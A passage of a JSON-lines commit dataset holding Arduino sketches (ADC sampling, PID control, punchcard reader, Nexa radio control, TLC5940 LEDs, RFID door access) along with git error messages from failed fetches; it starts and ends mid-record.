conversion\n ADCSRA |= (1 << ADSC); \/\/ Start conversion\n \/\/ This blocks for 13us = > 208 cycles wasted\n while (bit_is_set(ADCSRA, ADSC)) ;\n analogSample.buffer[0] = ADCL;\n analogSample.buffer[1] = ADCH;\n \/\/ --\n Serial.write(analogSample.buffer[0]);\n Serial.write(analogSample.buffer[1]);\n return;\n }\n case '5': {\n \/\/ the read method does not block, so have to manually wait\n \/\/ for all the parameters to arrive\n while (Serial.available() < 2) ;\n \/\/ Ignoring the line parameter for now\n Serial.read();\n unsigned char const val = Serial.read();\n \/\/ Send the second parameter directly to the digitalWrite function\n digitalWrite(digitalOutPin, val);\n return;\n }\n case '6': {\n \/\/ the read method does not block, so have to manually wait\n \/\/ for all the parameters to arrive\n while (Serial.available() < 2) ;\n \/\/ Ignoring the channel parameter for now\n Serial.read();\n unsigned char const val = Serial.read();\n \/\/ Send the second parameter directly to the digitalWrite function\n analogWrite(analogOutPin, val);\n return;\n }\n }\n }\n}\n\nISR(TIMER1_COMPA_vect) \/\/ timer compare interrupt service routine\n{\n \/\/ Do a conversion\n ADCSRA |= (1 << ADSC); \/\/ Start conversion\n \/\/ This blocks for 13us\n while (bit_is_set(ADCSRA, ADSC)) ;\n analogSample.buffer[0] = ADCL;\n analogSample.buffer[1] = ADCH;\n toSend = true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/EtfArduinoFirmware\/EtfArduinoFirmware.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3f52f7b16227ad1bd0d9ef125f9f79a3c70986f","subject":"change touch sensor pin because pin 2 is used to specifing boot mode","message":"change touch sensor pin because pin 2 is used to specifing boot mode\n","repos":"locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek,locatw\/Autonek","old_file":"Arduino\/Halitch\/Halitch.ino","new_file":"Arduino\/Halitch\/Halitch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/locatw\/Autonek.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d6112168237980a46a1681875b159e98f4e08421","subject":"Used SoftwareSerial, which seems to work good enough","message":"Used SoftwareSerial, which seems to work good enough\n","repos":"whaleygeek\/punchcard_reader","old_file":"sstest\/sstest.ino","new_file":"sstest\/sstest.ino","new_contents":"#include <SoftwareSerial.h>\n\n#define LED_RED 2 \/\/ PB2, pin 7\n#define LED_GREEN 0 \/\/ PB0, pin 5\n#define TX 1 \/\/ PB1, pin 6\n#define RX 3 \/\/ testing, pin 2\n\nSoftwareSerial ser(RX, TX);\n\nvoid setup()\n{\n pinMode(LED_RED, OUTPUT);\n pinMode(LED_GREEN, OUTPUT);\n pinMode(TX, OUTPUT);\n digitalWrite(TX, HIGH);\n ser.begin(9600);\n digitalWrite(LED_RED, HIGH);\n}\n\nvoid loop()\n{\n digitalWrite(LED_GREEN, HIGH);\n ser.print(\"\\xAA\");\n digitalWrite(LED_GREEN, LOW);\n delay(100);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sstest\/sstest.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5ecc31f5404402573b6ec8499fe82c8b88efbe0e","subject":"countertest: new","message":"countertest: new\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"CounterTest\/CounterTest.ino","new_file":"CounterTest\/CounterTest.ino","new_contents":"#define PIN_KEY1 3\n#define PIN_KEY2 4\n#define PIN_KEY3 5\n\n#define PIN_OUT1 7\n\nint g_pushed = 0;\n\n#define PULSE_WIDTH 100\n\nvoid pulse(int n)\n{\n\tfor (int i = 0; i < n; i++)\n\t{\n\t\tdigitalWrite(PIN_OUT1, HIGH);\n\t\tdelay(PULSE_WIDTH);\n\t\tdigitalWrite(PIN_OUT1, LOW);\n\t\tdelay(PULSE_WIDTH);\n\t}\n}\n\nvoid setup()\n{\n\t\/\/Initialize serial and wait for port to open:\n\tSerial.begin(9600);\n\tSerial.println(\"start\");\n\n\tpinMode(PIN_KEY1, INPUT);\n\tpinMode(PIN_KEY2, INPUT);\n\tpinMode(PIN_KEY3, INPUT);\n\n\tpinMode(PIN_OUT1, OUTPUT);\n}\n\nvoid loop()\n{\n\tint b1 = digitalRead(PIN_KEY1);\n\tint b2 = digitalRead(PIN_KEY2);\n\tint b3 = digitalRead(PIN_KEY3);\n\n\tint none = !b1 && !b2 && !b3;\n\tif (g_pushed)\n\t{\n\t\tif (none)\n\t\t{\n\t\t\tg_pushed = 0;\n\t\t\tSerial.println(\"released\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (!none)\n\t\t{\n\t\t\tg_pushed = 1;\n\n\t\t\tif (b1)\n\t\t\t{\n\t\t\t\tpulse(1);\n\t\t\t}\n\t\t\telse if (b2)\n\t\t\t{\n\t\t\t\tpulse(10);\n\t\t\t}\n\t\t\telse if (b3)\n\t\t\t{\n\t\t\t\tpulse(100);\n\t\t\t}\n\t\t\tSerial.println(\"pressed\");\n\t\t}\n\n\t}\n\n\tdelay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'CounterTest\/CounterTest.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"dd0a28276f2c72e254ff7d0084960577efff0000","subject":"Improves energy arduino code.","message":"Improves energy arduino code.\n","repos":"bassjansson\/vera,bassjansson\/vera,bassjansson\/vera,bassjansson\/vera","old_file":"room\/arduino\/energy\/energy.ino","new_file":"room\/arduino\/energy\/energy.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bassjansson\/vera.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"081f747e99aa5ec81c32e228a2bea9b935dc4e4d","subject":"Add a simple example.","message":"Add a simple example.\n","repos":"mike-matera\/FastPID,mike-matera\/FastPID","old_file":"examples\/PID_Basic\/PID_Basic.ino","new_file":"examples\/PID_Basic\/PID_Basic.ino","new_contents":"#include <FastPID.h>\n\n#define PIN_INPUT A1\n#define PIN_OUTPUT 10\n\ndouble Kp=0, Ki=0, Kd=1;\nuint16_t deadband = 0; \nint output_bits = 8; \nbool output_signed = false;\n\nFastPID myPID(Kp, Ki, Kd, deadband, output_bits, output_signed);\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n int setpoint = 500; \n int feedback = analogRead(PIN_INPUT);\n int output = myPID.step(setpoint, feedback);\n analogWrite(PIN_OUTPUT, 255 - output);\n Serial.print(\"sp: \"); \n Serial.print(setpoint); \n Serial.print(\" fb: \"); \n Serial.print(feedback);\n Serial.print(\" out: \");\n Serial.println(output);\n delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/PID_Basic\/PID_Basic.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ac7b18d48047bead318d9d6ddee80c80fe23673b","subject":"shaddow motion profiles are good !","message":"shaddow motion profiles are good !\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c81ddd42cc60db7db691db78e7157848f45c40d7","subject":"OneBitReader debug leds working","message":"OneBitReader debug leds working\n","repos":"whaleygeek\/punchcard_reader","old_file":"OneBitReader\/OneBitReader.ino","new_file":"OneBitReader\/OneBitReader.ino","new_contents":"\/\/ OneBitReader.ino 05\/05\/2015 D.J.Whale\n\/\/ based on ReadSensors.ino 20\/06\/2015 D.J.Whale\n\/\/ (c) 2015, 2016 D.J.Whale\n\n\/\/Turn on to send a raw ADC value report every time it changes\n\/\/#define CFGEN_SEND_ADC_REPORTS\n\n\/\/Turn this on to turn a state change report every state change\n\/\/#define CFGEN_SEND_STATE_REPORTS\n\n\/\/Turn this on to send row data reports every detected row\n\/\/#define CFGEN_SEND_ROW_REPORTS\n\n\/\/ Pinouts for Sparkfun ProMicro:\n\/\/ https:\/\/learn.sparkfun.com\/tutorials\/pro-micro--fio-v3-hookup-guide\/hardware-overview-pro-micro\n\n#define NUM_CHANNELS 9\n#define REG 2 \n#define D7 3 \n\/\/#define D6 A2 \/\/ A2\n\/\/#define D5 A3 \/\/ A3\n\/\/#define D4 A6 \/\/ 4\n\/\/#define D3 A7 \/\/ 6\n\/\/#define D2 A8 \/\/ 8\n\/\/#define D1 A9 \/\/ 9\n\/\/#define D0 A10 \/\/ 10\n\n#define LED_REG 1 \/\/ TX\n#define LED_D7 0 \/\/ RX\n\/\/#define LED_D6 2\n\/\/#define LED_D5 3\n\/\/#define LED_D4 5\n\/\/#define LED_D3 7\n\/\/#define LED_D2 16\n\/\/#define LED_D1 14\n\/\/#define LED_D0 15\n\n\/\/fudged for 1 bit reader (bit 7 only)\n#define ALL_PAPER 0x80 \/\/ high for paper\n#define ALL_HOLES 0x00 \/\/ low for hole\n\n#define REG_PAPER 1 \/\/ high for paper \n#define REG_HOLE 0 \/\/ low for hole\n\n\/\/ Set to 8, will only read IN phase\n\/\/ Set to 16, will read and collect OUT phase also\n\/\/ Must see all CARD_ROWS rows to get a OK report\n\/\/ if less rows read, will get an error, but data still included\n\/\/ This allows host to compare IN and OUT phases and error correct\n#define CARD_ROWS 16\n\n#define REPORT_OK_BOOT 0x00\n#define REPORT_OK_CARD 0x01\n#define REPORT_OK_STATE 0x02\n#define REPORT_OK_ROW 0x03\n#define REPORT_OK_ADC 0x04\n#define REPORT_ERR_LENGTH 0x81\n\ntypedef enum \n{\n STATE_NOCARD = 0,\n STATE_INSERTING,\n STATE_WAITING_ROW,\n STATE_IN_ROW,\n STATE_GAP,\n STATE_REMOVING,\n STATE_END\n} STATE;\n\nbyte sticky = 0;\nboolean seenReg = false;\nbyte row = 0;\nbyte card[CARD_ROWS];\n\/\/unsigned int adc[NUM_CHANNELS];\nSTATE state = STATE_NOCARD;\nSTATE prev = STATE_NOCARD;\n\n\nvoid setup()\n{\n Serial.begin(115200); \n pinMode(LED_REG, OUTPUT);\n pinMode(LED_D7, OUTPUT);\n pinMode(REG, INPUT);\n pinMode(D7, INPUT);\n \n digitalWrite(LED_REG, HIGH);\n delay(1000);\n digitalWrite(LED_REG, LOW);\n \n digitalWrite(LED_D7, HIGH);\n delay(1000);\n digitalWrite(LED_D7, LOW);\n \n \/\/pinMode(LED_D6, OUTPUT);\n \/\/pinMode(LED_D5, OUTPUT);\n \/\/pinMode(LED_D4, OUTPUT);\n \/\/pinMode(LED_D3, OUTPUT);\n \/\/pinMode(LED_D2, OUTPUT);\n \/\/pinMode(LED_D1, OUTPUT);\n \/\/pinMode(LED_D0, OUTPUT);\n sendCardReport(REPORT_OK_BOOT, NULL, 0);\n}\n\nbyte freg;\nbyte now;\n\nvoid loop()\n{ \n \/\/readPins\n freg = (digitalRead(REG) ? REG_PAPER : REG_HOLE);\n now = (digitalRead(D7) ? ALL_PAPER : ALL_HOLES);\n\n \/\/ Show live diagnostics on LEDs\n writeLEDs(freg, now);\n}\n\nvoid stuff()\n{\n#if defined(CFGEN_SEND_ADC_REPORTS)\n if (now != sticky)\n {\n Serial.write(':');\n Serial.write(REPORT_OK_ADC);\n for (int i=8; i>=0; i--)\n {\n \/\/in decimal ADC values are 10 bits (3 nybbles)\n Serial.print(adc[i]);\n Serial.print(\" \");\n }\n Serial.println();\n }\n#endif\n\n \n \/\/ crank round the acquisition state machine\n switch (state)\n {\n case STATE_NOCARD:\n \/\/ stay here while freg=hole and data=all holes (card removed)\n if ((freg == REG_HOLE) || now == ALL_HOLES)\n { \/\/ at least one sensor has seen paper\n state = STATE_INSERTING;\n \/\/Serial.println(state);\n } \n break;\n \n case STATE_INSERTING:\n \/\/ check for early removal (all holes)\n if ((freg == REG_HOLE) && (now == ALL_HOLES))\n {\n \/\/ bail early if all on (removed)\n state = STATE_REMOVING;\n \/\/Serial.println(state);\n }\n \/\/ wait for all paper\n else if ((freg == REG_PAPER) && (now == ALL_PAPER))\n {\n row = 0;\n state = STATE_WAITING_ROW;\n \/\/Serial.println(state);\n }\n break;\n \n case STATE_WAITING_ROW:\n \/\/ check for early card removal (all reading holes)\n if ((freg == REG_HOLE) && (now == ALL_HOLES))\n {\n state = STATE_REMOVING;\n \/\/Serial.println(state);\n }\n else\n { \/\/ wait for any data to start appearing (at least one hole)\n if ((freg == REG_HOLE) || (now != ALL_PAPER))\n {\n sticky = now;\n state = STATE_IN_ROW;\n \/\/Serial.println(state);\n }\n }\n break;\n \n case STATE_IN_ROW:\n \/\/ check for early card removal (all holes)\n if ((freg == REG_HOLE) && (now == ALL_HOLES))\n {\n state = STATE_REMOVING;\n \/\/Serial.println(state);\n }\n else\n {\n \/\/ remember if we see the registration hole while reading a row\n \/\/ this is only punched if the row is completely unpunched\n \/\/ that way we don't miss the row\n if (freg == REG_HOLE)\n {\n seenReg = true;\n }\n \/\/ keep collecting sticky bits until all go zero again\n sticky |= now;\n if ((freg == REG_PAPER) && (now == ALL_PAPER))\n {\n state = STATE_GAP;\n \/\/Serial.println(state);\n } \n }\n break;\n \n case STATE_GAP:\n#if defined(CFGEN_SEND_ROW_REPORTS)\n {\n byte report[2];\n report[0] = row;\n report[1] = sticky;\n sendCardReport(REPORT_OK_ROW, report, sizeof(report));\n }\n#endif \n \/\/ store row data in card buffer\n card[row] = sticky;\n \/\/ advance row\n row += 1;\n \/\/ more rows?\n if (row == CARD_ROWS)\n {\n state = STATE_END;\n \/\/Serial.println(state);\n }\n else\n {\n state = STATE_WAITING_ROW;\n \/\/Serial.println(state);\n }\n break;\n \n case STATE_END:\n \/\/ wait here until card removal\n \/\/ Note, later version will read on way out again, and complare in and out readings\n if ((freg == REG_HOLE) && (now == ALL_HOLES))\n {\n sendCardReport(REPORT_OK_CARD, card, CARD_ROWS);\n state = STATE_NOCARD;\n \/\/Serial.println(state);\n }\n break;\n \n case STATE_REMOVING:\n \/\/ only report the rows that were read\n sendCardReport(REPORT_ERR_LENGTH, card, row);\n state = STATE_NOCARD;\n break;\n } \n \n if (state != prev)\n {\n prev = state;\n#if defined(CFGEN_SEND_STATE_REPORTS)\n {\n byte report = (byte) (state & 0xFF);\n sendCardReport(REPORT_OK_STATE, &report, 1);\n }\n#endif\n }\n}\n\n\n\nvoid writeLEDs(byte reg, byte data)\n{\n \/\/ Show card data on feedback LEDs\n digitalWrite(LED_REG, reg?HIGH:LOW);\n digitalWrite(LED_D7, (data&(1<<7))?HIGH:LOW);\n \/\/digitalWrite(LED_D6, data&(1<<6));\n \/\/digitalWrite(LED_D5, data&(1<<5));\n \/\/digitalWrite(LED_D4, data&(1<<4));\n \/\/digitalWrite(LED_D3, data&(1<<3));\n \/\/digitalWrite(LED_D2, data&(1<<2));\n \/\/digitalWrite(LED_D1, data&(1<<1));\n \/\/digitalWrite(LED_D0, data&(1<<0));\n}\n\n\nvoid sendCardReport(byte type, byte* pData, byte len)\n{\n Serial.write(\":\"); \/\/ Start char\n sendHexByte(type); \/\/ mandatory type\n \n \/\/ Show optional data of any length\n for (byte i=0; i<len; i++)\n {\n sendHexByte(pData[i]);\n }\n Serial.println(); \/\/ End char\n}\n\n\nvoid sendHexByte(byte val)\n{\n Serial.write(tohexch(val>>4)); \/\/ high nybble\n Serial.write(tohexch(val)); \/\/ low nybble\n}\n\n\nchar tohexch(byte val)\n{\n val = val & 0x0F;\n if (val > 9)\n {\n return 'A' + (val-10);\n }\n else\n {\n return '0' + val;\n }\n}\n\n\/* END OF FILE *\/\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OneBitReader\/OneBitReader.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"61aba6703df15e1ff9c26c2df24319c5b9fc7be2","subject":"Added more Arduino code","message":"Added more Arduino code","repos":"angusgbishop\/biast,angusgbishop\/biast","old_file":"Arduino Code\/v1arduinoside\/v1arduinoside.ino","new_file":"Arduino Code\/v1arduinoside\/v1arduinoside.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/v1arduinoside\/v1arduinoside.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6d4649d01366bf5a104b8339caa30e40a87e8210","subject":"New example: my own TellStick Duo implementation for nexa","message":"New example: my own TellStick Duo implementation for nexa\n\nnot so stable yet.\n","repos":"dcollin\/NexaControl","old_file":"examples\/NexaTellStickDuo\/NexaTellStickDuo.ino","new_file":"examples\/NexaTellStickDuo\/NexaTellStickDuo.ino","new_contents":"#include \"NexaSelfLearningReceiver.h\"\n\n#define TX_PIN 10\n#define RX_PIN 4\n#define RX_LED 13\n\n\/\/Radio RX\nNexaSelfLearningReceiver receiver = NexaSelfLearningReceiver(RX_PIN, RX_LED);\nshort dim = 0;\nuint64_t receivedSignal = 0;\n\n\/\/Serial RX\nbyte rxBuffer[79];\n\nvoid setup(){\n Serial.begin(9600);\n pinMode(8, OUTPUT); digitalWrite(8, LOW);\n pinMode(9, OUTPUT); digitalWrite(9, HIGH);\n pinMode(6, OUTPUT); digitalWrite(6, LOW);\n pinMode(3, OUTPUT); digitalWrite(3, HIGH);\n};\n\nvoid loop(){\n \n \/\/Receive and execute command over serial\n if(Serial.available() > 0){\n uint8_t rxDataSize = Serial.readBytesUntil('+', &rxBuffer[0], 79);\n if(rxDataSize > 0){\n if(parseRxBuffer(&rxBuffer[0], 0, rxDataSize, false, 3, 0)){\n \/\/Serial.println(F(\"DEBUG:PARSE OK\"));\n }else{\n \/\/Serial.println(F(\"DEBUG:PARSE ERROR\")); \n }\n }\n }\n \n \/\/Receive signal over air and send it over serial\n receivedSignal = receiver.receiveSignal(NULL, NULL, NULL, NULL, &dim, 100);\n if(receivedSignal > 0){\n Serial.print(F(\"+Wclass:command;protocol:arctech;model:selflearning;data:0x\"));\n uint8_t hexToSend = (dim == NULL ? 8 : 9);\n for(int8_t i = hexToSend-1; i >= 0; --i){\n Serial.print( (byte)((receivedSignal>>(4*i))&0x0F), HEX);\n }\n Serial.println(F(\";\"));\n }\n \n};\n\nbool parseRxBuffer(byte* buffer, uint8_t startIndex, uint8_t endIndex, bool debug, uint8_t repeat, uint8_t pause){\n if(startIndex > endIndex){\n return false;\n }\n char c = buffer[startIndex];\n \/\/Serial.print(\"DEBUG: char:\"); Serial.println(c, DEC);\n switch(c){\n case 'S':\n return handleS(buffer, startIndex+1, endIndex, debug, repeat, pause);\n case 'T':\n return handleT(buffer, startIndex+1, endIndex, debug, repeat, pause);\n case 'V':\n Serial.println(F(\"+V2\"));\n return parseRxBuffer(buffer, startIndex+1, endIndex, debug, repeat, pause);\n case 'D':\n return parseRxBuffer(buffer, startIndex+1, endIndex, !debug, repeat, pause);\n case 'P':\n if(endIndex-startIndex+1 < 3){return false;} \/\/at least {'P',[p-value],'+'} must be left in the buffer\n return parseRxBuffer(buffer, startIndex+2, endIndex, debug, repeat, buffer[startIndex+1]);\n case 'R':\n if(endIndex-startIndex+1 < 3){return false;} \/\/at least {'R',[r-value],'+'} must be left in the buffer\n return parseRxBuffer(buffer, startIndex+2, endIndex, debug, buffer[startIndex+1], pause);\n case '+':\n return true;\n default:\n \/\/Serial.print(\"DEBUG: unknown char: '\"); Serial.print(c, BIN); Serial.println(\"'\");\n return false;\n }\n};\n\nbool handleS(byte* buffer, uint8_t startIndex, uint8_t endIndex, bool debug, uint8_t repeat, uint8_t pause){\n \/\/Parse message received from serial\n uint8_t S_data[78]; \/\/78 pulses\n uint8_t pulseCount = 0;\n for(uint8_t i = startIndex; i <= endIndex; ++i){\n if(buffer[i] == '+'){\n break;\n }else if(i == endIndex){\n return false;\n }else{\n S_data[pulseCount++] = buffer[i];\n }\n }\n \/\/Send message\n for(uint8_t rep = 0; rep < repeat; ++rep){\n bool nextPinState = HIGH;\n for(int i = 0; i < pulseCount; ++i){\n if(S_data[i] > 0 || i == pulseCount-1){\n digitalWrite(TX_PIN, nextPinState);\n delayMicroseconds(S_data[i]*10);\n }\n nextPinState = !nextPinState;\n }\n delay(pause);\n }\n return true;\n};\n\nbool handleT(byte* buffer, uint8_t startIndex, uint8_t endIndex, bool debug, uint8_t repeat, uint8_t pause){\n \/\/Parse message received from serial\n uint8_t T_data[72]; \/\/0-188 pulses\n if(endIndex - startIndex < 5){\n Serial.println(\"DEBUG: wrong size!\");\n return false;\n }\n uint8_t buff_p = startIndex;\n uint8_t T_times[4] = {buffer[buff_p++], buffer[buff_p++], buffer[buff_p++], buffer[buff_p++]};\n uint8_t T_long = buffer[buff_p++];\n uint8_t T_bytes = 0;\n if( (T_long\/4.0) > (float)(T_long\/4) ){\n T_bytes = T_long\/4 + 1;\n }else{\n T_bytes = T_long\/4;\n }\n uint8_t j = 0;\n while(j < T_bytes){\n if(buffer[buff_p] == '+'){\n break;\n }else if(buff_p >= endIndex){\n return false;\n }else{\n T_data[j++] = buffer[buff_p++];\n }\n }\n if( j != T_bytes ){\n return false;\n }\n \/\/Send message\n for(uint8_t rep = 0; rep < repeat; ++rep){\n bool nextPinState = HIGH;\n for(int i = 0; i < T_long; ++i){\n uint8_t timeIndex = (T_data[i\/4]>>(6-(2*(i%4))))&0x03;\n if(T_times[timeIndex] > 0 || i == T_long-1){\n digitalWrite(TX_PIN, nextPinState);\n delayMicroseconds(10*T_times[timeIndex]);\n }\n nextPinState = !nextPinState;\n }\n digitalWrite(TX_PIN, LOW);\n if(rep < repeat-1){\n delay(pause);\n }\n }\n return parseRxBuffer(buffer, buff_p, endIndex, debug, repeat, pause);\n};\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/NexaTellStickDuo\/NexaTellStickDuo.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"e9abb0556fe92cff7fad5f723cc60c6c874e70a3","subject":"adding arduino sketch","message":"adding arduino sketch\n","repos":"sbma44\/stephmeter,sbma44\/yellowlight,sbma44\/yellowlight","old_file":"tlc5940steph.ino","new_file":"tlc5940steph.ino","new_contents":"\/*\n Basic Pin setup:\n ------------ ---u----\n ARDUINO 13|-> SCLK (pin 25) OUT1 |1 28| OUT channel 0\n 12| OUT2 |2 27|-> GND (VPRG)\n 11|-> SIN (pin 26) OUT3 |3 26|-> SIN (pin 11)\n 10|-> BLANK (pin 23) OUT4 |4 25|-> SCLK (pin 13)\n 9|-> XLAT (pin 24) . |5 24|-> XLAT (pin 9)\n 8| . |6 23|-> BLANK (pin 10)\n 7| . |7 22|-> GND\n 6| . |8 21|-> VCC (+5V)\n 5| . |9 20|-> 2K Resistor -> GND\n 4| . |10 19|-> +5V (DCPRG)\n 3|-> GSCLK (pin 18) . |11 18|-> GSCLK (pin 3)\n 2| . |12 17|-> SOUT\n 1| . |13 16|-> XERR\n 0| OUT14|14 15| OUT channel 15\n ------------ --------\n\n - Put the longer leg (anode) of the LEDs in the +5V and the shorter leg\n (cathode) in OUT(0-15).\n - +5V from Arduino -> TLC pin 21 and 19 (VCC and DCPRG)\n - GND from Arduino -> TLC pin 22 and 27 (GND and VPRG)\n - digital 3 -> TLC pin 18 (GSCLK)\n - digital 9 -> TLC pin 24 (XLAT)\n - digital 10 -> TLC pin 23 (BLANK)\n - digital 11 -> TLC pin 26 (SIN)\n - digital 13 -> TLC pin 25 (SCLK)\n - The 2K resistor between TLC pin 20 and GND will let ~20mA through each\n LED. To be precise, it's I = 39.06 \/ R (in ohms). This doesn't depend\n on the LED driving voltage.\n - (Optional): put a pull-up resistor (~10k) between +5V and BLANK so that\n all the LEDs will turn off when the Arduino is reset.\n\n If you are daisy-chaining more than one TLC, connect the SOUT of the first\n TLC to the SIN of the next. All the other pins should just be connected\n together:\n BLANK on Arduino -> BLANK of TLC1 -> BLANK of TLC2 -> ...\n XLAT on Arduino -> XLAT of TLC1 -> XLAT of TLC2 -> ...\n The one exception is that each TLC needs it's own resistor between pin 20\n and GND.\n\n This library uses the PWM output ability of digital pins 3, 9, 10, and 11.\n Do not use analogWrite(...) on these pins.\n\n This sketch does the Knight Rider strobe across a line of LEDs.\n\n Alex Leone <acleone ~AT~ gmail.com>, 2009-02-03 *\/\n\n#include \"Tlc5940.h\"\n\nint NUM_CHANNELS = 3;\nint channel_offset = 0;\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(115200);\n \n Tlc.init();\n Tlc.clear();\n Tlc.update();\n}\n\n\n\/*\n SerialEvent occurs whenever a new data comes in the\n hardware serial RX. This routine is run between each\n time loop() runs, so using delay inside loop can delay\n response. Multiple bytes of data may be available.\n *\/\nvoid serialEvent() { \n while (Serial.available()>=2) {\n \/\/ read the bytes\n byte b1 = Serial.read();\n byte b2 = Serial.read();\n \n \/\/ if we received a special byte pair, clear things out \/ reset the system\n if((b1==B11111111) && (b2==B11111111)) {\n Tlc.clear();\n Tlc.update();\n channel_offset = 0;\n \n \/\/ clear out the buffer, too\n while(Serial.available()) {\n Serial.read();\n }\n }\n \n \/\/ otherwise try to set the value of the current channel\n else {\n int new_value = (256 * ((byte) Serial.read())) + ((byte) Serial.read());\n Tlc.set(channel_offset, new_value);\n channel_offset = (channel_offset + 1) % NUM_CHANNELS;\n }\n }\n}\n\nvoid loop()\n{\n Tlc.update();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tlc5940steph.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"608bc5e9d161aca8640623995a755a8148f6bfa7","subject":"removed unneeded ready check for serial","message":"removed unneeded ready check for serial\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"413f483ee81b0d355483e1b384612f2b9fa04262","subject":"Problematic Example Updated","message":"Problematic Example Updated\n\nhttp:\/\/forum.arduino.cc\/index.php?topic=256260.msg2756668#msg2756668\r\n\r\nAbove forum message is indicating that the old Servo Example is problematic. For better user experience, I (Original Poster) updated the code and header to give more information what this example does. Commented most of the code.","repos":"Rotzbua\/rfid,Rotzbua\/rfid,miguelbalboa\/rfid","old_file":"examples\/AccessControl\/AccessControl.ino","new_file":"examples\/AccessControl\/AccessControl.ino","new_contents":"\/*\n * --------------------------------------------------------------------------------------------------------------------\n * Example sketch\/program showing An Arduino Door Access Control featuring RFID, EEPROM, Relay\n * --------------------------------------------------------------------------------------------------------------------\n * This is a MFRC522 library example; for further details and other examples see: https:\/\/github.com\/miguelbalboa\/rfid\n * \n * This example showing a complete Door Access Control System\n \n Simple Work Flow (not limited to) :\n +---------+\n+----------------------------------->READ TAGS+^------------------------------------------+\n| +--------------------+ |\n| | | |\n| | | |\n| +----v-----+ +-----v----+ |\n| |MASTER TAG| |OTHER TAGS| |\n| +--+-------+ ++-------------+ |\n| | | | |\n| | | | |\n| +-----v---+ +----v----+ +----v------+ |\n| +------------+READ TAGS+---+ |KNOWN TAG| |UNKNOWN TAG| |\n| | +-+-------+ | +-----------+ +------------------+ |\n| | | | | | |\n| +----v-----+ +----v----+ +--v--------+ +-v----------+ +------v----+ |\n| |MASTER TAG| |KNOWN TAG| |UNKNOWN TAG| |GRANT ACCESS| |DENY ACCESS| |\n| +----------+ +---+-----+ +-----+-----+ +-----+------+ +-----+-----+ |\n| | | | | |\n| +----+ +----v------+ +--v---+ | +--------------->\n+-------+EXIT| |DELETE FROM| |ADD TO| | |\n +----+ | EEPROM | |EEPROM| | |\n +-----------+ +------+ +-------------------------------+\n\n * \n * Use a Master Card which is act as Programmer then you can able to choose card holders who will granted access or not\n *\n * **Easy User Interface**\n *\n * Just one RFID tag needed whether Delete or Add Tags. You can choose to use Leds for output or Serial LCD module to inform users. \n *\n * **Stores Information on EEPROM**\n *\n * Information stored on non volatile Arduino's EEPROM memory to preserve Users' tag and Master Card. No Information lost \n * if power lost. EEPROM has unlimited Read cycle but roughly 100,000 limited Write cycle. \n *\n * **Security**\n * To keep it simple we are going to use Tag's Unique IDs. It's simple and not hacker proof.\n * \n * @license Released into the public domain.\n * \n * Typical pin layout used:\n * -----------------------------------------------------------------------------------------\n * MFRC522 Arduino Arduino Arduino Arduino Arduino\n * Reader\/PCD Uno\/101 Mega Nano v3 Leonardo\/Micro Pro Micro\n * Signal Pin Pin Pin Pin Pin Pin\n * 